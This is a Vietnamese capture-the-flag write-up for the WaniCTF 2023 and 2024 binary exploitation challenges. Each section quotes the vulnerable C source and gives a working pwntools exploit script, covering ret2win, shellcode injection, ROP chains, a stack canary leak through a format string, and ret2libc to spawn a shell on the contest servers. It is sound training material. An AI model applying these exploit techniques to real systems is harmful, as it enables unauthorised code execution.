# (writeup) WaniCTF 2023 ## netcat (Beginner) - đơn giản là netcat rồi tính máy tính thôi - khỏi script =))))) ![](https://hackmd.io/_uploads/BJw_C3mNn.png) >FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!} --- ## only once (Beginner) - bài này cũng thế, nhưng coi source ms hiểu được - source code: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); alarm(180); } int rand_gen() { return rand() % 1000; } void win() { system("/bin/sh"); } int main() { init(); srand((unsigned int)time(NULL)); int x = rand_gen(), y = rand_gen(); int score = 0, chall = 1; char buf[8]; while (1) { printf("\n+---------------------------------------+\n"); printf("| your score: %d, remaining %d challenges |\n", score, chall); printf("+---------------------------------------+\n\n"); if (chall == 0) { printf("Bye!\n"); break; } printf("%3d + %3d = ", x, y); scanf("%8s", buf); if (atoi(buf) == x + y) { printf("Cool!\n"); score++; } else { printf("Oops...\n"); score = 0; } if (score >= 3) { printf("Congrats!\n"); win(); } x = rand_gen(); y = rand_gen(); chall--; } return 0; } ``` - này tựa tựa lỗi IOF nhưng k phải, lỗi là nếu ta nhập hơn 8 byte ngay đây sẽ ra shell ```c scanf("%8s", buf); ``` ![](https://hackmd.io/_uploads/Bks0kp7N2.png) > FLAG{y0u_4r3_600d_47_c41cu14710n5!} --- ## ret2win (Easy) - run file thử và dựa vào đề in ra biết được offset cũng như hướng đi - ret2win đơn giản và nhẹ nhàng ![](https://hackmd.io/_uploads/SJYSgT7Eh.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) #p = process(exe.path) p = remote('ret2win-pwn.wanictf.org',9003) payload = b'A'*40 payload += p64(exe.sym['win']) p.sendafter(b'> ',payload) p.interactive() ``` >FLAG{f1r57_5739_45_4_9wn3r} --- ## shellcode_basic (normal) - tên đề cũng như chall cho sẵn script - việc mình là chèn shellcode là xong ![](https://hackmd.io/_uploads/Syc--p742.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) #p = process(exe.path) p = remote('shell-basic-pwn.wanictf.org', 9004) shellcode = asm( ''' mov rbx, 29400045130965551 push rbx mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 0x3b syscall ''', arch='amd64') p.sendline(shellcode) p.interactive() ``` >FLAG{NXbit_Blocks_shellcode_next_step_is_ROP} --- ## Beginner ROP (normal) - check file + checksec ![](https://hackmd.io/_uploads/S198Tr7Vn.png) - check source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #define BUF_SIZE 32 #define MAX_READ_LEN 96 void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); alarm(180); } void show_stack(char *buf) { printf("\n #############################################\n"); printf(" # stack state #\n"); printf(" #############################################\n\n"); printf(" hex string\n"); for (int i = 0; i < MAX_READ_LEN; i += 8) { printf(" +--------------------+----------+\n"); printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i)); for (int j = 7; j > -1; j--) { char c = *(char *)(buf + i + j); if (c > 0x7e || c < 0x20) c = '.'; printf("%c", c); } if (i == 40) printf(" | <- TARGET!!!\n"); else printf(" |\n"); } printf(" +--------------------+----------+\n"); } void pop_rax_ret() { asm("pop %rax; ret"); } void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); } void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); } void mov_rsp_rdi_pop_ret() { asm("mov %rsp, %rdi\n" "add $0x8, %rsp\n" "ret"); } void syscall_ret() { asm("syscall; ret"); } int ofs = 0, ret = 0; int main() { init(); char buf[BUF_SIZE] = {0}; printf("Let's practice ROP attack!\n"); while (ofs < MAX_READ_LEN) { show_stack(buf); printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs); ret = read(0, buf + ofs, MAX_READ_LEN - ofs); if (ret < 0) return 1; ofs += ret; } return 0; } ``` - bài này là ROPchain - thì sẽ liên quan tới rdi,rsi,rdx và rax - thì có lẽ mình tìm pop từng cái k được (không đủ) ![](https://hackmd.io/_uploads/Hyi-AB7E2.png) - thì trong source code có tạo ra từng hàm cho mình mà các hàm đều liên quan đến 3 thằng mình sẽ cần (rdi,rsi,rdx) ![](https://hackmd.io/_uploads/BypNkLQNh.png) - thì idea trước mắt sẽ là ret từng cài luôn - riêng thằng rdi thì nó sẽ đưa vị trí $rsp vào $rdi khi return (tức là ngay $rbp ở lần nhập của mình) - vậy thì mình sẽ để '/bin/sh\0' ngay trước $rip - và cần padding đủ 96 byte để kết thúc vòng lặp while và return ![](https://hackmd.io/_uploads/B1Z0xL7E2.png) - trong hình là '/bin/sh\0' đã vào $rdi - nhưng ở ret thứ 2 thì xor của rsi lại trỏ đến địa chỉ (bad) - lúc này đổi hướng suy nghĩ: - nếu trên source code có hàm xor_rsi các kiểu thì gadget của cái đó chắc sẽ có ![](https://hackmd.io/_uploads/BkJqZIQV3.png) - vậy mình sẽ lấy gadget xor cúi cùng ở 2 thanh ghi rsi và rdx ![](https://hackmd.io/_uploads/BkWJz8QNh.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) #p = process(exe.path) p = remote('beginners-rop-pwn.wanictf.org',9005) # gdb.attach(p,gdbscript=''' # b*main+162 # b*main+231 # c # ''') # input() pop_rax = 0x0000000000401371 xor_rsi = 0x000000000040137e xor_rdx = 0x000000000040138d syscall = 0x00000000004013af payload = b'A'*32 payload += b'/bin/sh\0' payload += p64(exe.sym['mov_rsp_rdi_pop_ret']) payload += p64(xor_rsi) payload += p64(xor_rdx) payload += p64(pop_rax) + p64(0x3b) payload += p64(exe.sym['syscall_ret']) payload = payload.ljust(96,b'B') p.sendafter(b'> ',payload) p.interactive() ``` >FLAG{h0p_p0p_r0p_po909090p93r!!!!} --- ## Canaleak (normal) - check file + checksec ![](https://hackmd.io/_uploads/Hkyzir7V3.png) - check source ```c #include <stdio.h> #include <stdlib.h> void init() { // alarm(600); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void win() { system("/bin/sh"); } int main() { char nope[20]; init(); while (strcmp(nope, "YES")) { printf("You can't overwrite return address if canary is enabled.\nDo you " "agree with me? : "); scanf("%s", nope); printf(nope); } } ``` - hướng đi của đề là mình cần ret2win nhưng đồng thời k động chạm tới canary - thì mình sẽ leak canary, rồi chèn payload sao cho tới vị trí canary thì mình ghi lại canary r ghi đè tới rip trỏ tới hàm mình cần - chương trình sẽ vào vòng lặp **while()**, miễn payload mình nó khác với chứ 'YES' thì tiếp tục cho mình nhập lần sau - thì trong source có hàm **printf()** in lại những gì mình nhập ---> nghĩ ngay đến fmtstr ![](https://hackmd.io/_uploads/SyX09SXN3.png) > vị trí thứ 9 là %9$p - và để kết thúc vòng lặp thì mình cần có chữ 'YES' trong payload và ghi đè canary rồi ret về ``win`` ![](https://hackmd.io/_uploads/SyjajH7Eh.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) #p = process(exe.path) p = remote('canaleak-pwn.wanictf.org',9006) # gdb.attach(p,gdbscript=''' # b*main+75 # c # ''') # input() p.sendlineafter(b'me? : ',b'%9$p') cana_leak = int(p.recvline()[:-1],16) log.info("cana leak: " + hex(cana_leak)) payload = b'YES\0\0\0\0\0' payload += b'A'*16 payload += p64(cana_leak) payload += b'A'*8 payload += p64(exe.sym['win']+5) p.sendlineafter(b'me? : ',payload) p.interactive() ``` >FLAG{N0PE!} --- ## ret2libc (normal) - check file + checksec ![](https://hackmd.io/_uploads/B1UNqS7N2.png) - check source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #define BUF_SIZE 32 #define MAX_READ_LEN 128 void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); alarm(180); } void show_stack(char *buf) { printf("\n #############################################\n"); printf(" # stack state #\n"); printf(" #############################################\n\n"); printf(" hex string\n"); for (int i = 0; i < MAX_READ_LEN; i += 8) { printf(" +--------------------+----------+\n"); printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i)); for (int j = 7; j > -1; j--) { char c = *(char *)(buf + i + j); if (c > 0x7e || c < 0x20) c = '.'; printf("%c", c); } if (i == 40) printf(" | <- TARGET!!!\n"); else printf(" |\n"); } printf(" +--------------------+----------+\n"); } int ofs = 0, ret = 0; int main() { init(); char buf[BUF_SIZE] = {0}; printf("Can you master ROP?\n"); while (ofs < MAX_READ_LEN) { show_stack(buf); printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs); ret = read(0, buf + ofs, MAX_READ_LEN - ofs); if (ret < 0) return 1; ofs += ret; } return 0; } ``` - tìm pop_rdi k có nên hướng đi leak libc như bth không được ![](https://hackmd.io/_uploads/HypJqHQV3.png) ![](https://hackmd.io/_uploads/ryG7FHmEh.png) - nên đổi qua chơi 'dirty' xíu là lấy những gì đề in ra ![](https://hackmd.io/_uploads/Sy0o_rmVh.png) > vị trí đó là ``__libc_start_call_main`` nên tính offset thôi - việc còn lại là /bin/sh với system như bth > pop_rdi có thể lấy của libc vì exe k có sẵn > thêm ret cho stack chẵn ![](https://hackmd.io/_uploads/Hy7McBQEn.png) - script: (của pwninit lấy đỡ cho nhanh XDD) ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./chall_patched",checksec=False) libc = ELF("./libc.so.6",checksec=False) ld = ELF("./ld-2.35.so",checksec=False) context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("ret2libc-pwn.wanictf.org", 9007) return r def main(): r = conn() libc_offset = libc.sym['__libc_start_call_main'] r.recvuntil(b'+0x28 | ') libc_leak = int(r.recv(18),16) libc.address = libc_leak - (libc_offset + 128) log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) pop_rdi = libc.address + 0x000000000002a3e5 ret = 0x000000000040101a payload = b'A'*40 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(ret) payload += p64(libc.sym['system']) payload = payload.ljust(128,b'B') r.sendafter(b'> ',payload) r.interactive() if __name__ == "__main__": main() ``` >FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!} --- ## Time Table (hard) - check file + checksec ![](https://hackmd.io/_uploads/Byi6lEBE3.png) - check ida ![](https://hackmd.io/_uploads/ByC-f4B42.png) - chạy hàm **register_student(v4)** đầu tiên ![](https://hackmd.io/_uploads/S1UQQ4BNn.png) - ở lần nhầp đàu tiên cho user(name), id và major - dù k có BOF nhưng khá là ghi ngờ biến **buf** - source code bug position: ![](https://hackmd.io/_uploads/H1U-wNSV3.png) ``` lần nhập mandatory sẽ cấu trúc 3 thằng : name | type | detail lần nhập elective chỉ có 2 thằng : name | .... | detail type của elective sẽ giữ nguyên của cái mandatory nếu mandatory được gọi lên trước ``` - ida bug position: ![](https://hackmd.io/_uploads/r1jGO4S4h.png) ``` __fastcall : gọi con trỏ biến v4[1] ``` - idea: k có chỗ tạo shell hay ret2win nên sẽ làm ret2libc hoặc one_gadget - đầu tiên sẽ leak libc - hướng đi: - - chọn case 1 (mandatory) - - case 2 (elective) ghi đè tại vị trí của môn học ở (mandatory) - - case 4 (write_memo) sẽ ghi stderr để leak - - case 2 (elective) để lấy byte leak (``tên môn - tên giáo`` sư bây giờ sẽ đổi thành ``tên môn - byte leak``) ``` lúc này lại thấy ghi đè cả luôn biến professor ``` - vì chall k cho libc nên tìm trên libc.blukat.me và lấy xuống - đồng thời pwninit luôn - - tiếp tục sau khi leak libc là tới lần chờ nhập môn ở case 2 - - lúc này ta sẽ chọn môn khác tránh trùng nơi tkb mình dg leak - - rồi case4 lần nữa để ghi thành địa chỉ r_w và tới one_gadget - nhưng thử hết các gadget thì đều k cho ta shell - DEBUG chậm lại lúc ``call rax`` ![](https://hackmd.io/_uploads/Sk-B6NBEn.png) - lúc này nó call vào địa chỉ của 1 user hơi lạ lạ - user là lúc từ khi mình bắt đầu nhập vào ``` lúc này là cho nhập 9 byte 'a' ``` - thử lại với content khác ![](https://hackmd.io/_uploads/By4b0NSE2.png) ``` lúc này là cho nhập cỡ 7 byte 'a' ``` - thế thì thay vì nhập nùi byte 'a', ta sẽ nhập '/bin/sh\0' và system luôn, không cần one_gadget ![](https://hackmd.io/_uploads/HkTRA4r4h.png) - remote thôi ![](https://hackmd.io/_uploads/HJYrDsVEh.png) - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('./chall_patched', checksec=False) libc = ELF('./libc6_2.35-0ubuntu3.1_amd64.so', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*register_elective_class+0 b*register_elective_class+211 c ''') input() def info(msg): return log.info(msg) def sla(msg, data): return p.sendlineafter(msg, data) def sa(msg, data): return p.sendafter(msg, data) def sl(data): return p.sendline(data) def s(data): return p.send(data) if args.REMOTE: p = remote('timetable-pwn.wanictf.org', 9008) else: p = process(exe.path) GDB() sa(b"name : ", b'/bin/sh\0') sla(b"id : ", b"1234567") sla(b"major : ", b"1234567") sla(b">", b"1") #mandatory sla(b">", b"1") sla(b">", b"2") #elective sla(b">", b"1") sla(b">", b"4") #write_memo sla(b">", b"FRI 3") sa(b"CLASS\n", p64(exe.sym['stderr'])) sla(b">", b"2") p.recvuntil(b"Intellect - ") leak_libc = u64(p.recvline()[:-1] + b"\0\0") info("leak libc: " + hex(leak_libc)) libc.address = leak_libc - (libc.sym['_IO_2_1_stderr_']) info("leak libc: " + hex(libc.address)) sla(b">", b"0") one_gadget = [0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3] sla(b">", b"4") sla(b">", b"FRI 3") sa(b"CLASS\n", p64(0x00000000405a00) + p64(libc.sym['system'])) sla(b">", b"2") sla(b">", b"1") p.interactive() ``` >FLAG{Do_n0t_confus3_mandatory_and_el3ctive} # (writeup) WaniCTF 2024 ## nc ```bash $ nc chal-lz56g6.wanictf.org 9003 15+1=0x10 FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r} ``` >FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r} ## do-not-rewrite ```py #!/usr/bin/python3 from pwn import * exe = ELF('./chall', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+171 b*main+231 b*main+287 b*main+407 c ''') input() if args.REMOTE: p = remote('chal-lz56g6.wanictf.org',9004) else: p = process(exe.path) p.recvuntil(b'show_flag = ') show_flag = int(p.recvline(),16) exe.address = show_flag - exe.symbols['show_flag'] info("exe leak: " + hex(show_flag)) info("exe base: " + hex(exe.address)) # GDB() sl(b'a') sl(b'.') sl(b'.') sl(b'a') sl(b'.') sl(b'.') sl(b'a') sl(b'.') sl(b'.') sl(p64(show_flag+5)) sl(b'.') sl(b'.') p.interactive() #FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf} ``` >FLAG{B3_c4r3fu1_wh3n_using_th3_f0rm4t_sp3cifi3r_1f_in_sc4nf} ## do-not-rewrite2 ```py #!/usr/bin/python3 from pwn import * exe = ELF('./chall_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+171 b*main+231 b*main+287 b*main+407 b*main+522 c ''') input() if args.REMOTE: p = remote('chal-lz56g6.wanictf.org',9005) else: p = process(exe.path) p.recvuntil(b'printf = ') printf = int(p.recvline(),16) libc.address = printf - libc.sym.printf info("libc leak: " + hex(printf)) info("libc base: " + hex(libc.address)) GDB() pop_rdi = libc.address + 0x000000000010f75b sl(b'a') sl(b'.') sl(b'.') sl(b'a') sl(b'.') sl(b'.') sl(b'a') sl(b'.') sl(b'.') payload = p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(pop_rdi+1) + p64(libc.sym.system) sl(payload) sl(b'.') sl(b'.') p.interactive() #FLAG{r0p_br0d3n_0ur_w0r1d} ``` >FLAG{r0p_br0d3n_0ur_w0r1d}